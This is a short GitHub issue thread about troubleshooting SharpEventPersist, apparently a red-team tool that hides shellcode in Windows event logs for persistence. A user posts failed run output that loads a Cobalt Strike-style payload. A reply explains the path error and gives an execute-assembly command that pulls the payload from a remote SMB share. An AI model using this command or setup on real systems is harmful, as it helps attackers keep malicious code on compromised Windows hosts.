Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

hello, #2

Open
ZHOUXINGXING9 opened this issue Aug 23, 2022 · 1 comment
Open

hello, #2

ZHOUXINGXING9 opened this issue Aug 23, 2022 · 1 comment

Comments

@ZHOUXINGXING9
Copy link

Using shellcode: C:\Users\Administrator\Desktop\payload.bin
Setting event log instance id: 1337
Setting event log source to: Cobaltstrick
Setting event log to: Key Management Service
[-] Invoke_3 on EntryPoint failed.
why?

@roobixx
Copy link

roobixx commented Sep 12, 2022

Is the payload binary on the target at C:\Users\Adminsitrator\Desktop\payload.bin? If not, it will fail because SharpEventPersist looks at the file path on the target it is running.

If you want to host your payload remotely, you could do something like this:

execute-assembly /home/rbx/payload.bin -file \\<IP>\Share\payload.bin

Where the IP is a SMB sever with your payload. I used Impactet's SMBserver for my testing and it worked well..

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants